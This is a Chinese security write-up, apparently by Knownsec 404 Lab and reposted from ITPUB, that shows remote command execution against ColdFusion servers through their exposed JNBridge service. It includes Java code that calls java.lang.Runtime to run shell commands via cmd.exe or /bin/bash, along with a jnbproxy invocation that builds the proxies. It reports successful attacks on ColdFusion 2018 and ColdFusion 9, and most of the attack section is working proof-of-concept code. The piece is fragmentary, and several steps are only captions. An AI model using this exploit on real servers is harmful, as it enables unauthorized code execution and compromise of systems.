作者: Badcode@知道创宇404实验室
日期: 2019/07/09
jnbp-eval-v10.0#1899-2367-9451-2280
这里我们尝试使用.net去调用java,跑一下logDemo,了解下大致流程。
根据 JNBridge 的安装路径,修改 startJava.bat ,运行
根据 demo的指示文档 logDemo.pdf,一步一步构建 .Net 项目。
运行 .Net 项目,调用 Java 服务端,成功调用。
rt.jar 引入 classpath
添加 java.lang.Runtime 类
String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
commandArgs = new String[]{"cmd.exe", "/c", command};
}else {
commandArgs = new String[]{"/bin/bash", "-c", command};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
{
System.out.println(line);
}
br.close();
根据 Java代码重写
运行,攻击远程的ColdFusion 2018(Linux平台),成功返回结果。
jnbproxy.exe,看下参数。
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
运行,攻击远程的 ColdFusion 9(windows平台),返回命令执行结果。
[2] 部分细节:
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/69912109/viewspace-2652749/ ,如需转载,请注明出处,否则将追究法律责任。